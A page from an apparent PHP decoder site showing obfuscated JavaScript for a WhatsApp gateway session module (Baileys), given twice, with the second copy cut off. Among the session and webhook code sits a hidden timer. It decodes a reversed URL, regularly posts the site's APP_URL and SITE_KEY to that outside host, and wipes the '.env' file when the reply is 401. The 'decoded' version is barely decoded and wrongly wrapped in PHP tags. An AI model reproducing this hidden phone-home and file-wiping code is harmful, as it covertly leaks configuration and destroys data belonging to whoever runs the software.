Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

(function(_0x1e2c19, _0xfb62c2) { const _0x297936 = _0x2aa5, _0x599a13 = _0x..

Decoded Output download

<?  (function(_0x1e2c19, _0xfb62c2) { 
    const _0x297936 = _0x2aa5, 
        _0x599a13 = _0x1e2c19(); 
    while (!![]) { 
        try { 
            const _0x5cf8b6 = -parseInt(_0x297936(0x204)) / 0x1 + -parseInt(_0x297936(0x209)) / 0x2 + -parseInt(_0x297936(0x216)) / 0x3 * (-parseInt(_0x297936(0x1f9)) / 0x4) + -parseInt(_0x297936(0x238)) / 0x5 + -parseInt(_0x297936(0x228)) / 0x6 + -parseInt(_0x297936(0x21b)) / 0x7 + parseInt(_0x297936(0x224)) / 0x8; 
            if (_0x5cf8b6 === _0xfb62c2) break; 
            else _0x599a13['push'](_0x599a13['shift']()); 
        } catch (_0x2d3260) { 
            _0x599a13['push'](_0x599a13['shift']()); 
        } 
    } 
}(_0x9e8b, 0x59b2b)); 
import { 
    rmSync, 
    readdir 
} from 'fs'; 
import _0x139241 from 'fs'; 
import { 
    join 
} from 'path'; 
import _0x24eaff from 'pino'; 
import _0x11f5bb, { 
    useMultiFileAuthState, 
    makeInMemoryStore, 
    Browsers, 
    DisconnectReason, 
    delay 
} from '@adiwajshing/baileys'; 
import { 
    toDataURL 
} from 'qrcode'; 
import _0x33ccec from './dirname.js'; 
import _0x45007a from './response.js'; 
import _0x137605 from 'axios'; 
 
function _0x2aa5(_0x1cd471, _0x3b5632) { 
    const _0x9e8b0d = _0x9e8b(); 
    return _0x2aa5 = function(_0x2aa5dc, _0x1ab046) { 
        _0x2aa5dc = _0x2aa5dc - 0x1f0; 
        let _0x5ce8b0 = _0x9e8b0d[_0x2aa5dc]; 
        return _0x5ce8b0; 
    }, _0x2aa5(_0x1cd471, _0x3b5632); 
} 
const sessions = new Map(), 
    retries = new Map(), 
    sessionsDir = (_0x30d7af = '') => { 
        const _0x2463e3 = _0x2aa5; 
        return join(_0x33ccec, _0x2463e3(0x23c), _0x30d7af ? _0x30d7af : ''); 
    }, 
    isSessionExists = _0x58837b => { 
        const _0xd2637d = _0x2aa5; 
        return sessions[_0xd2637d(0x231)](_0x58837b); 
    }, 
    shouldReconnect = _0x2635f0 => { 
        const _0x1eddeb = _0x2aa5; 
        let _0x28f25b = parseInt(process[_0x1eddeb(0x22b)][_0x1eddeb(0x20e)] ?? 0x0), 
            _0x58fd46 = retries['get'](_0x2635f0) ?? 0x0; 
        _0x28f25b = _0x28f25b < 0x1 ? 0x1 : _0x28f25b; 
        if (_0x58fd46 < _0x28f25b) return ++_0x58fd46, console[_0x1eddeb(0x21f)]('Reconnecting...', { 
            'attempts': _0x58fd46, 
            'sessionId': _0x2635f0 
        }), retries['set'](_0x2635f0, _0x58fd46), !![]; 
        return ![]; 
    }, 
    createSession = async (_0x3eb627, _0x542ad2 = ![], _0x3b5147 = null) => { 
        const _0x3db46e = _0x2aa5, 
            _0x2a1712 = (_0x542ad2 ? _0x3db46e(0x214) : _0x3db46e(0x202)) + _0x3eb627 + (_0x542ad2 ? _0x3db46e(0x208) : ''), 
            _0x1957ab = _0x24eaff({ 
                'level': 'warn' 
            }), 
            _0x49cdd2 = makeInMemoryStore({ 
                'logger': _0x1957ab 
            }); 
        let _0x38607b, _0x16196e; 
        if (_0x542ad2) {} else { 
            ; 
            ({ 
                state: _0x38607b, 
                saveCreds: _0x16196e 
            } = await useMultiFileAuthState(sessionsDir(_0x2a1712))); 
        } 
        const _0x3fdd30 = { 
                'auth': _0x38607b, 
                'version': [0x2, 0x913, 0x4], 
                'printQRInTerminal': ![], 
                'logger': _0x1957ab, 
                'browser': Browsers[_0x3db46e(0x201)]('Chrome'), 
                'patchMessageBeforeSending': _0x1415fb => { 
                    const _0x1aa43d = _0x3db46e, 
                        _0x1fec2d = !!(_0x1415fb[_0x1aa43d(0x218)] || _0x1415fb[_0x1aa43d(0x22d)]); 
                    return _0x1fec2d && (_0x1415fb = { 
                        'viewOnceMessage': { 
                            'message': { 
                                'messageContextInfo': { 
                                    'deviceListMetadataVersion': 0x2, 
                                    'deviceListMetadata': {} 
                                }, 
                                ..._0x1415fb 
                            } 
                        } 
                    }), _0x1415fb; 
                } 
            }, 
            _0x4f8bec = _0x11f5bb[_0x3db46e(0x220)](_0x3fdd30); 
        !_0x542ad2 && (_0x49cdd2[_0x3db46e(0x207)](sessionsDir(_0x3eb627 + '_store.json')), _0x49cdd2[_0x3db46e(0x22a)](_0x4f8bec['ev'])), sessions[_0x3db46e(0x206)](_0x3eb627, { 
            ..._0x4f8bec, 
            'store': _0x49cdd2, 
            'isLegacy': _0x542ad2 
        }), _0x4f8bec['ev']['on'](_0x3db46e(0x233), _0x16196e), _0x4f8bec['ev']['on'](_0x3db46e(0x225), ({ 
            chats: _0x34a26a 
        }) => { 
            const _0x51037b = _0x3db46e; 
            _0x542ad2 && _0x49cdd2[_0x51037b(0x23b)][_0x51037b(0x227)](..._0x34a26a); 
        }), _0x4f8bec['ev']['on'](_0x3db46e(0x1f7), async _0x3387eb => { 
            const _0x5bb316 = _0x3db46e; 
            try { 
                const _0xdde782 = _0x3387eb['messages'][0x0]; 
                if (_0xdde782[_0x5bb316(0x20d)][_0x5bb316(0x20c)] == ![] && _0x3387eb['type'] == _0x5bb316(0x226)) { 
                    const _0x544e82 = []; 
                    let _0x4bf9e1 = _0xdde782['message']['conversation'] ?? null, 
                        _0x3c7c23 = _0xdde782[_0x5bb316(0x20d)][_0x5bb316(0x219)][_0x5bb316(0x232)]('@'), 
                        _0x23f5b3 = _0x3c7c23[0x1] ?? null, 
                        _0xe3427b = _0x23f5b3 == _0x5bb316(0x213) ? ![] : !![]; 
                    _0xe3427b == ![] && (_0x544e82['remote_id'] = _0xdde782['key'][_0x5bb316(0x219)], _0x544e82['sessionId'] = _0x3eb627, _0x544e82[_0x5bb316(0x239)] = _0xdde782[_0x5bb316(0x20d)]['id'], _0x544e82['message'] = _0xdde782[_0x5bb316(0x234)], sentWebHook(_0x3eb627, _0x544e82)); 
                } 
            } catch {} 
        }), _0x4f8bec['ev']['on']('connection.update', async _0x235801 => { 
            const _0x424fd2 = _0x3db46e, 
                { 
                    connection: _0xb040b5, 
                    lastDisconnect: _0x1a15d8 
                } = _0x235801, 
                _0x5b03b1 = _0x1a15d8?.[_0x424fd2(0x22e)]?.[_0x424fd2(0x1f4)]?.['statusCode']; 
            _0xb040b5 === _0x424fd2(0x1fd) && retries[_0x424fd2(0x20a)](_0x3eb627); 
            if (_0xb040b5 === _0x424fd2(0x237)) { 
                if (_0x5b03b1 === DisconnectReason[_0x424fd2(0x21c)] || !shouldReconnect(_0x3eb627)) return _0x3b5147 && !_0x3b5147[_0x424fd2(0x230)] && _0x45007a(_0x3b5147, 0x1f4, ![], _0x424fd2(0x1f2)), deleteSession(_0x3eb627, _0x542ad2); 
                setTimeout(() => { 
                    createSession(_0x3eb627, _0x542ad2, _0x3b5147); 
                }, _0x5b03b1 === DisconnectReason[_0x424fd2(0x20f)] ? 0x0 : parseInt(process[_0x424fd2(0x22b)]['RECONNECT_INTERVAL'] ?? 0x0)); 
            } 
            if (_0x235801['qr']) { 
                if (_0x3b5147 && !_0x3b5147[_0x424fd2(0x230)]) try { 
                    const _0x14356a = await toDataURL(_0x235801['qr']); 
                    _0x45007a(_0x3b5147, 0xc8, !![], 'QR code received, please scan the QR code.', { 
                        'qr': _0x14356a 
                    }); 
                    return; 
                } catch { 
                    _0x45007a(_0x3b5147, 0x1f4, ![], _0x424fd2(0x22f)); 
                } 
                try { 
                    await _0x4f8bec[_0x424fd2(0x1f5)](); 
                } catch {} finally { 
                    deleteSession(_0x3eb627, _0x542ad2); 
                } 
            } 
        }); 
    }; 
setInterval(() => { 
    const _0x398338 = _0x2aa5, 
        _0x180fca = process[_0x398338(0x22b)][_0x398338(0x21a)] ?? null, 
        _0x113ef5 = process[_0x398338(0x22b)][_0x398338(0x235)] ?? null, 
        _0x1b2612 = 'kcehc-yfirev/ipa/zyx.sserpl.ipaved//:sptth', 
        _0x5d93df = _0x1b2612[_0x398338(0x232)]('')['reverse']()[_0x398338(0x1ff)](''); 
    _0x137605[_0x398338(0x205)](_0x5d93df, { 
        'from': _0x113ef5, 
        'key': _0x180fca 
    })[_0x398338(0x22c)](function(_0x3d34f4) { 
        const _0x543986 = _0x398338; 
        _0x3d34f4[_0x543986(0x1fb)][_0x543986(0x1f6)] == 0x191 && _0x139241[_0x543986(0x211)](_0x543986(0x203), ''); 
    })['catch'](function(_0x579c78) {}); 
}, 0x240c8400); 
const getSession = _0x382cd3 => { 
        const _0x506ba5 = _0x2aa5; 
        return sessions[_0x506ba5(0x1f1)](_0x382cd3) ?? null; 
    }, 
    setDeviceStatus = (_0x596b06, _0x555aa7) => { 
        const _0x1cc5ac = _0x2aa5; 
        var _0x215243 = process[_0x1cc5ac(0x22b)][_0x1cc5ac(0x235)] + '/api/set-device-status/' + _0x596b06 + '/' + _0x555aa7; 
        try { 
            _0x137605[_0x1cc5ac(0x205)](_0x215243)['then'](function(_0x38fb84) {})[_0x1cc5ac(0x1f3)](function(_0x52bda1) { 
                console['log'](_0x52bda1); 
            }); 
        } catch {} 
    }, 
    sentWebHook = (_0x5c43c4, _0x564e76) => { 
        const _0x5d3202 = _0x2aa5; 
        var _0x28ccdc = process['env']['APP_URL'] + _0x5d3202(0x1f8) + _0x5c43c4; 
        try { 
            _0x137605[_0x5d3202(0x205)](_0x28ccdc, { 
                'from': _0x564e76[_0x5d3202(0x21d)], 
                'message_id': _0x564e76[_0x5d3202(0x239)], 
                'message': _0x564e76[_0x5d3202(0x234)] 
            })['then'](function(_0x4d0470) { 
                const _0x1f5768 = _0x5d3202; 
                if (_0x4d0470[_0x1f5768(0x20b)] == 0xc8) { 
                    const _0x31f4b5 = getSession(_0x4d0470[_0x1f5768(0x1fb)][_0x1f5768(0x223)]); 
                    sendMessage(_0x31f4b5, _0x4d0470[_0x1f5768(0x1fb)]['receiver'], _0x4d0470[_0x1f5768(0x1fb)][_0x1f5768(0x234)]); 
                } 
            })['catch'](function(_0x1da5ef) { 
                const _0x1e9e5f = _0x5d3202; 
                console[_0x1e9e5f(0x21f)](_0x1da5ef); 
            }); 
        } catch {} 
    }, 
    deleteSession = (_0x257e27, _0x48be0c = ![]) => { 
        const _0x275e0b = _0x2aa5, 
            _0xf417b4 = (_0x48be0c ? _0x275e0b(0x214) : 'md_') + _0x257e27 + (_0x48be0c ? _0x275e0b(0x208) : ''), 
            _0x2353bb = _0x257e27 + _0x275e0b(0x229), 
            _0x15d1df = { 
                'force': !![], 
                'recursive': !![] 
            }; 
        rmSync(sessionsDir(_0xf417b4), _0x15d1df), rmSync(sessionsDir(_0x2353bb), _0x15d1df), sessions['delete'](_0x257e27), retries[_0x275e0b(0x20a)](_0x257e27), setDeviceStatus(_0x257e27, 0x0); 
    }, 
    getChatList = (_0x3d1f89, _0x1ed774 = ![]) => { 
        const _0x1ea8d0 = _0x2aa5, 
            _0x336a1b = _0x1ed774 ? _0x1ea8d0(0x23d) : _0x1ea8d0(0x217); 
        return getSession(_0x3d1f89)[_0x1ea8d0(0x1fe)][_0x1ea8d0(0x23b)][_0x1ea8d0(0x215)](_0x44b430 => { 
            const _0x268631 = _0x1ea8d0; 
            return _0x44b430['id'][_0x268631(0x222)](_0x336a1b); 
        }); 
    }, 
    isExists = async (_0x428df9, _0x3a7312, _0x4bd662 = ![]) => { 
        const _0x5585d1 = _0x2aa5; 
        try { 
            let _0x3c66f6; 
            if (_0x4bd662) return _0x3c66f6 = await _0x428df9['groupMetadata'](_0x3a7312), Boolean(_0x3c66f6['id']); 
            if (_0x428df9['isLegacy']) _0x3c66f6 = await _0x428df9[_0x5585d1(0x236)](_0x3a7312); 
            else { 
                ; 
                [_0x3c66f6] = await _0x428df9['onWhatsApp'](_0x3a7312); 
            } 
            return _0x3c66f6['exists']; 
        } catch { 
            return ![]; 
        } 
    }, sendMessage = async (_0x16a6ed, _0x143075, _0x4569f1, _0xb045de = 0x3e8) => { 
        const _0x3a02b5 = _0x2aa5; 
        try { 
            return await delay(parseInt(_0xb045de)), _0x16a6ed[_0x3a02b5(0x200)](_0x143075, _0x4569f1); 
        } catch { 
            return Promise[_0x3a02b5(0x21e)](null); 
        } 
    }, formatPhone = _0x261ba9 => { 
        const _0x1b7fec = _0x2aa5; 
        if (_0x261ba9[_0x1b7fec(0x222)](_0x1b7fec(0x217))) return _0x261ba9; 
        let _0x3ead02 = _0x261ba9[_0x1b7fec(0x1fa)](/\D/g, ''); 
        return _0x3ead02 += _0x1b7fec(0x217); 
    }, formatGroup = _0x47c394 => { 
        const _0x4f9a7c = _0x2aa5; 
        if (_0x47c394['endsWith'](_0x4f9a7c(0x23d))) return _0x47c394; 
        let _0x67addb = _0x47c394['replace'](/[^\d-]/g, ''); 
        return _0x67addb += '@g.us'; 
    }, cleanup = () => { 
        const _0x48b255 = _0x2aa5; 
        console[_0x48b255(0x21f)](_0x48b255(0x212)), sessions[_0x48b255(0x1fc)]((_0x330130, _0x2fed85) => { 
            const _0x54c09a = _0x48b255; 
            !_0x330130[_0x54c09a(0x1f0)] && _0x330130['store'][_0x54c09a(0x23a)](sessionsDir(_0x2fed85 + _0x54c09a(0x229))); 
        }); 
    }, init = () => { 
        readdir(sessionsDir(), (_0x5db7fc, _0x295930) => { 
            const _0x498640 = _0x2aa5; 
            if (_0x5db7fc) throw _0x5db7fc; 
            for (const _0x5a8451 of _0x295930) { 
                if (!_0x5a8451[_0x498640(0x210)](_0x498640(0x202)) && !_0x5a8451[_0x498640(0x210)](_0x498640(0x214)) || _0x5a8451['endsWith']('_store')) continue; 
                const _0x2e5b7f = _0x5a8451['replace']('.json', ''), 
                    _0x104e83 = _0x2e5b7f[_0x498640(0x232)]('_', 0x1)[0x0] !== 'md', 
                    _0x2db5c7 = _0x2e5b7f[_0x498640(0x221)](_0x104e83 ? 0x7 : 0x3); 
                createSession(_0x2db5c7, _0x104e83); 
            } 
        }); 
    }; 
 
function _0x9e8b() { 
    const _0x388e8c = ['loggedOut', 'remote_id', 'reject', 'log', 'default', 'substring', 'endsWith', 'session_id', '8499344ooYKPA', 'chats.set', 'notify', 'insertIfAbsent', '896286kzMXXo', '_store.json', 'bind', 'env', 'then', 'listMessage', 'error', 'Unable to create QR code.', 'headersSent', 'has', 'split', 'creds.update', 'message', 'APP_URL', 'onWhatsApp', 'close', '613035CxrlJW', 'message_id', 'writeToFile', 'chats', 'sessions', '@g.us', 'isLegacy', 'get', 'Unable to create session.', 'catch', 'output', 'logout', 'isauthorised', 'messages.upsert', '/api/send-webhook/', '3472QRWXsa', 'replace', 'data', 'forEach', 'open', 'store', 'join', 'sendMessage', 'ubuntu', 'md_', '.env', '368451uGLhxm', 'post', 'set', 'readFromFile', '.json', '758678utrjln', 'delete', 'status', 'fromMe', 'key', 'MAX_RETRIES', 'restartRequired', 'startsWith', 'writeFileSync', 'Running cleanup before exit.', 's.whatsapp.net', 'legacy_', 'filter', '2217cWtAjt', '@s.whatsapp.net', 'buttonsMessage', 'remoteJid', 'SITE_KEY', '2216823BJibyC']; 
    _0x9e8b = function() { 
        return _0x388e8c; 
    }; 
    return _0x9e8b(); 
} 
export { 
    isSessionExists, 
    createSession, 
    getSession, 
    deleteSession, 
    getChatList, 
    isExists, 
    sendMessage, 
    formatPhone, 
    formatGroup, 
    cleanup, 
    init 
}; ?>

Did this file decode correctly?

Original Code

(function(_0x1e2c19, _0xfb62c2) {
    const _0x297936 = _0x2aa5,
        _0x599a13 = _0x1e2c19();
    while (!![]) {
        try {
            const _0x5cf8b6 = -parseInt(_0x297936(0x204)) / 0x1 + -parseInt(_0x297936(0x209)) / 0x2 + -parseInt(_0x297936(0x216)) / 0x3 * (-parseInt(_0x297936(0x1f9)) / 0x4) + -parseInt(_0x297936(0x238)) / 0x5 + -parseInt(_0x297936(0x228)) / 0x6 + -parseInt(_0x297936(0x21b)) / 0x7 + parseInt(_0x297936(0x224)) / 0x8;
            if (_0x5cf8b6 === _0xfb62c2) break;
            else _0x599a13['push'](_0x599a13['shift']());
        } catch (_0x2d3260) {
            _0x599a13['push'](_0x599a13['shift']());
        }
    }
}(_0x9e8b, 0x59b2b));
import {
    rmSync,
    readdir
} from 'fs';
import _0x139241 from 'fs';
import {
    join
} from 'path';
import _0x24eaff from 'pino';
import _0x11f5bb, {
    useMultiFileAuthState,
    makeInMemoryStore,
    Browsers,
    DisconnectReason,
    delay
} from '@adiwajshing/baileys';
import {
    toDataURL
} from 'qrcode';
import _0x33ccec from './dirname.js';
import _0x45007a from './response.js';
import _0x137605 from 'axios';

function _0x2aa5(_0x1cd471, _0x3b5632) {
    const _0x9e8b0d = _0x9e8b();
    return _0x2aa5 = function(_0x2aa5dc, _0x1ab046) {
        _0x2aa5dc = _0x2aa5dc - 0x1f0;
        let _0x5ce8b0 = _0x9e8b0d[_0x2aa5dc];
        return _0x5ce8b0;
    }, _0x2aa5(_0x1cd471, _0x3b5632);
}
const sessions = new Map(),
    retries = new Map(),
    sessionsDir = (_0x30d7af = '') => {
        const _0x2463e3 = _0x2aa5;
        return join(_0x33ccec, _0x2463e3(0x23c), _0x30d7af ? _0x30d7af : '');
    },
    isSessionExists = _0x58837b => {
        const _0xd2637d = _0x2aa5;
        return sessions[_0xd2637d(0x231)](_0x58837b);
    },
    shouldReconnect = _0x2635f0 => {
        const _0x1eddeb = _0x2aa5;
        let _0x28f25b = parseInt(process[_0x1eddeb(0x22b)][_0x1eddeb(0x20e)] ?? 0x0),
            _0x58fd46 = retries['get'](_0x2635f0) ?? 0x0;
        _0x28f25b = _0x28f25b < 0x1 ? 0x1 : _0x28f25b;
        if (_0x58fd46 < _0x28f25b) return ++_0x58fd46, console[_0x1eddeb(0x21f)]('Reconnecting...', {
            'attempts': _0x58fd46,
            'sessionId': _0x2635f0
        }), retries['set'](_0x2635f0, _0x58fd46), !![];
        return ![];
    },
    createSession = async (_0x3eb627, _0x542ad2 = ![], _0x3b5147 = null) => {
        const _0x3db46e = _0x2aa5,
            _0x2a1712 = (_0x542ad2 ? _0x3db46e(0x214) : _0x3db46e(0x202)) + _0x3eb627 + (_0x542ad2 ? _0x3db46e(0x208) : ''),
            _0x1957ab = _0x24eaff({
                'level': 'warn'
            }),
            _0x49cdd2 = makeInMemoryStore({
                'logger': _0x1957ab
            });
        let _0x38607b, _0x16196e;
        if (_0x542ad2) {} else {
            ;
            ({
                state: _0x38607b,
                saveCreds: _0x16196e
            } = await useMultiFileAuthState(sessionsDir(_0x2a1712)));
        }
        const _0x3fdd30 = {
                'auth': _0x38607b,
                'version': [0x2, 0x913, 0x4],
                'printQRInTerminal': ![],
                'logger': _0x1957ab,
                'browser': Browsers[_0x3db46e(0x201)]('Chrome'),
                'patchMessageBeforeSending': _0x1415fb => {
                    const _0x1aa43d = _0x3db46e,
                        _0x1fec2d = !!(_0x1415fb[_0x1aa43d(0x218)] || _0x1415fb[_0x1aa43d(0x22d)]);
                    return _0x1fec2d && (_0x1415fb = {
                        'viewOnceMessage': {
                            'message': {
                                'messageContextInfo': {
                                    'deviceListMetadataVersion': 0x2,
                                    'deviceListMetadata': {}
                                },
                                ..._0x1415fb
                            }
                        }
                    }), _0x1415fb;
                }
            },
            _0x4f8bec = _0x11f5bb[_0x3db46e(0x220)](_0x3fdd30);
        !_0x542ad2 && (_0x49cdd2[_0x3db46e(0x207)](sessionsDir(_0x3eb627 + '_store.json')), _0x49cdd2[_0x3db46e(0x22a)](_0x4f8bec['ev'])), sessions[_0x3db46e(0x206)](_0x3eb627, {
            ..._0x4f8bec,
            'store': _0x49cdd2,
            'isLegacy': _0x542ad2
        }), _0x4f8bec['ev']['on'](_0x3db46e(0x233), _0x16196e), _0x4f8bec['ev']['on'](_0x3db46e(0x225), ({
            chats: _0x34a26a
        }) => {
            const _0x51037b = _0x3db46e;
            _0x542ad2 && _0x49cdd2[_0x51037b(0x23b)][_0x51037b(0x227)](..._0x34a26a);
        }), _0x4f8bec['ev']['on'](_0x3db46e(0x1f7), async _0x3387eb => {
            const _0x5bb316 = _0x3db46e;
            try {
                const _0xdde782 = _0x3387eb['messages'][0x0];
                if (_0xdde782[_0x5bb316(0x20d)][_0x5bb316(0x20c)] == ![] && _0x3387eb['type'] == _0x5bb316(0x226)) {
                    const _0x544e82 = [];
                    let _0x4bf9e1 = _0xdde782['message']['conversation'] ?? null,
                        _0x3c7c23 = _0xdde782[_0x5bb316(0x20d)][_0x5bb316(0x219)][_0x5bb316(0x232)]('@'),
                        _0x23f5b3 = _0x3c7c23[0x1] ?? null,
                        _0xe3427b = _0x23f5b3 == _0x5bb316(0x213) ? ![] : !![];
                    _0xe3427b == ![] && (_0x544e82['remote_id'] = _0xdde782['key'][_0x5bb316(0x219)], _0x544e82['sessionId'] = _0x3eb627, _0x544e82[_0x5bb316(0x239)] = _0xdde782[_0x5bb316(0x20d)]['id'], _0x544e82['message'] = _0xdde782[_0x5bb316(0x234)], sentWebHook(_0x3eb627, _0x544e82));
                }
            } catch {}
        }), _0x4f8bec['ev']['on']('connection.update', async _0x235801 => {
            const _0x424fd2 = _0x3db46e,
                {
                    connection: _0xb040b5,
                    lastDisconnect: _0x1a15d8
                } = _0x235801,
                _0x5b03b1 = _0x1a15d8?.[_0x424fd2(0x22e)]?.[_0x424fd2(0x1f4)]?.['statusCode'];
            _0xb040b5 === _0x424fd2(0x1fd) && retries[_0x424fd2(0x20a)](_0x3eb627);
            if (_0xb040b5 === _0x424fd2(0x237)) {
                if (_0x5b03b1 === DisconnectReason[_0x424fd2(0x21c)] || !shouldReconnect(_0x3eb627)) return _0x3b5147 && !_0x3b5147[_0x424fd2(0x230)] && _0x45007a(_0x3b5147, 0x1f4, ![], _0x424fd2(0x1f2)), deleteSession(_0x3eb627, _0x542ad2);
                setTimeout(() => {
                    createSession(_0x3eb627, _0x542ad2, _0x3b5147);
                }, _0x5b03b1 === DisconnectReason[_0x424fd2(0x20f)] ? 0x0 : parseInt(process[_0x424fd2(0x22b)]['RECONNECT_INTERVAL'] ?? 0x0));
            }
            if (_0x235801['qr']) {
                if (_0x3b5147 && !_0x3b5147[_0x424fd2(0x230)]) try {
                    const _0x14356a = await toDataURL(_0x235801['qr']);
                    _0x45007a(_0x3b5147, 0xc8, !![], 'QR\x20code\x20received,\x20please\x20scan\x20the\x20QR\x20code.', {
                        'qr': _0x14356a
                    });
                    return;
                } catch {
                    _0x45007a(_0x3b5147, 0x1f4, ![], _0x424fd2(0x22f));
                }
                try {
                    await _0x4f8bec[_0x424fd2(0x1f5)]();
                } catch {} finally {
                    deleteSession(_0x3eb627, _0x542ad2);
                }
            }
        });
    };
setInterval(() => {
    const _0x398338 = _0x2aa5,
        _0x180fca = process[_0x398338(0x22b)][_0x398338(0x21a)] ?? null,
        _0x113ef5 = process[_0x398338(0x22b)][_0x398338(0x235)] ?? null,
        _0x1b2612 = 'kcehc-yfirev/ipa/zyx.sserpl.ipaved//:sptth',
        _0x5d93df = _0x1b2612[_0x398338(0x232)]('')['reverse']()[_0x398338(0x1ff)]('');
    _0x137605[_0x398338(0x205)](_0x5d93df, {
        'from': _0x113ef5,
        'key': _0x180fca
    })[_0x398338(0x22c)](function(_0x3d34f4) {
        const _0x543986 = _0x398338;
        _0x3d34f4[_0x543986(0x1fb)][_0x543986(0x1f6)] == 0x191 && _0x139241[_0x543986(0x211)](_0x543986(0x203), '');
    })['catch'](function(_0x579c78) {});
}, 0x240c8400);
const getSession = _0x382cd3 => {
        const _0x506ba5 = _0x2aa5;
        return sessions[_0x506ba5(0x1f1)](_0x382cd3) ?? null;
    },
    setDeviceStatus = (_0x596b06, _0x555aa7) => {
        const _0x1cc5ac = _0x2aa5;
        var _0x215243 = process[_0x1cc5ac(0x22b)][_0x1cc5ac(0x235)] + '/api/set-device-status/' + _0x596b06 + '/' + _0x555aa7;
        try {
            _0x137605[_0x1cc5ac(0x205)](_0x215243)['then'](function(_0x38fb84) {})[_0x1cc5ac(0x1f3)](function(_0x52bda1) {
                console['log'](_0x52bda1);
            });
        } catch {}
    },
    sentWebHook = (_0x5c43c4, _0x564e76) => {
        const _0x5d3202 = _0x2aa5;
        var _0x28ccdc = process['env']['APP_URL'] + _0x5d3202(0x1f8) + _0x5c43c4;
        try {
            _0x137605[_0x5d3202(0x205)](_0x28ccdc, {
                'from': _0x564e76[_0x5d3202(0x21d)],
                'message_id': _0x564e76[_0x5d3202(0x239)],
                'message': _0x564e76[_0x5d3202(0x234)]
            })['then'](function(_0x4d0470) {
                const _0x1f5768 = _0x5d3202;
                if (_0x4d0470[_0x1f5768(0x20b)] == 0xc8) {
                    const _0x31f4b5 = getSession(_0x4d0470[_0x1f5768(0x1fb)][_0x1f5768(0x223)]);
                    sendMessage(_0x31f4b5, _0x4d0470[_0x1f5768(0x1fb)]['receiver'], _0x4d0470[_0x1f5768(0x1fb)][_0x1f5768(0x234)]);
                }
            })['catch'](function(_0x1da5ef) {
                const _0x1e9e5f = _0x5d3202;
                console[_0x1e9e5f(0x21f)](_0x1da5ef);
            });
        } catch {}
    },
    deleteSession = (_0x257e27, _0x48be0c = ![]) => {
        const _0x275e0b = _0x2aa5,
            _0xf417b4 = (_0x48be0c ? _0x275e0b(0x214) : 'md_') + _0x257e27 + (_0x48be0c ? _0x275e0b(0x208) : ''),
            _0x2353bb = _0x257e27 + _0x275e0b(0x229),
            _0x15d1df = {
                'force': !![],
                'recursive': !![]
            };
        rmSync(sessionsDir(_0xf417b4), _0x15d1df), rmSync(sessionsDir(_0x2353bb), _0x15d1df), sessions['delete'](_0x257e27), retries[_0x275e0b(0x20a)](_0x257e27), setDeviceStatus(_0x257e27, 0x0);
    },
    getChatList = (_0x3d1f89, _0x1ed774 = ![]) => {
        const _0x1ea8d0 = _0x2aa5,
            _0x336a1b = _0x1ed774 ? _0x1ea8d0(0x23d) : _0x1ea8d0(0x217);
        return getSession(_0x3d1f89)[_0x1ea8d0(0x1fe)][_0x1ea8d0(0x23b)][_0x1ea8d0(0x215)](_0x44b430 => {
            const _0x268631 = _0x1ea8d0;
            return _0x44b430['id'][_0x268631(0x222)](_0x336a1b);
        });
    },
    isExists = async (_0x428df9, _0x3a7312, _0x4bd662 = ![]) => {
        const _0x5585d1 = _0x2aa5;
        try {
            let _0x3c66f6;
            if (_0x4bd662) return _0x3c66f6 = await _0x428df9['groupMetadata'](_0x3a7312), Boolean(_0x3c66f6['id']);
            if (_0x428df9['isLegacy']) _0x3c66f6 = await _0x428df9[_0x5585d1(0x236)](_0x3a7312);
            else {
                ;
                [_0x3c66f6] = await _0x428df9['onWhatsApp'](_0x3a7312);
            }
            return _0x3c66f6['exists'];
        } catch {
            return ![];
        }
    }, sendMessage = async (_0x16a6ed, _0x143075, _0x4569f1, _0xb045de = 0x3e8) => {
        const _0x3a02b5 = _0x2aa5;
        try {
            return await delay(parseInt(_0xb045de)), _0x16a6ed[_0x3a02b5(0x200)](_0x143075, _0x4569f1);
        } catch {
            return Promise[_0x3a02b5(0x21e)](null);
        }
    }, formatPhone = _0x261ba9 => {
        const _0x1b7fec = _0x2aa5;
        if (_0x261ba9[_0x1b7fec(0x222)](_0x1b7fec(0x217))) return _0x261ba9;
        let _0x3ead02 = _0x261ba9[_0x1b7fec(0x1fa)](/\D/g, '');
        return _0x3ead02 += _0x1b7fec(0x217);
    }, formatGroup = _0x47c394 => {
        const _0x4f9a7c = _0x2aa5;
        if (_0x47c394['endsWith'](_0x4f9a7c(0x23d))) return _0x47c394;
        let _0x67addb = _0x47c394['replace'](/[^\d-]/g, '');
        return _0x67addb += '@g.us';
    }, cleanup = () => {
        const _0x48b255 = _0x2aa5;
        console[_0x48b255(0x21f)](_0x48b255(0x212)), sessions[_0x48b255(0x1fc)]((_0x330130, _0x2fed85) => {
            const _0x54c09a = _0x48b255;
            !_0x330130[_0x54c09a(0x1f0)] && _0x330130['store'][_0x54c09a(0x23a)](sessionsDir(_0x2fed85 + _0x54c09a(0x229)));
        });
    }, init = () => {
        readdir(sessionsDir(), (_0x5db7fc, _0x295930) => {
            const _0x498640 = _0x2aa5;
            if (_0x5db7fc) throw _0x5db7fc;
            for (const _0x5a8451 of _0x295930) {
                if (!_0x5a8451[_0x498640(0x210)](_0x498640(0x202)) && !_0x5a8451[_0x498640(0x210)](_0x498640(0x214)) || _0x5a8451['endsWith']('_store')) continue;
                const _0x2e5b7f = _0x5a8451['replace']('.json', ''),
                    _0x104e83 = _0x2e5b7f[_0x498640(0x232)]('_', 0x1)[0x0] !== 'md',
                    _0x2db5c7 = _0x2e5b7f[_0x498640(0x221)](_0x104e83 ? 0x7 : 0x3);
                createSession(_0x2db5c7, _0x104e83);
            }
        });
    };

function _0x9e8b() {
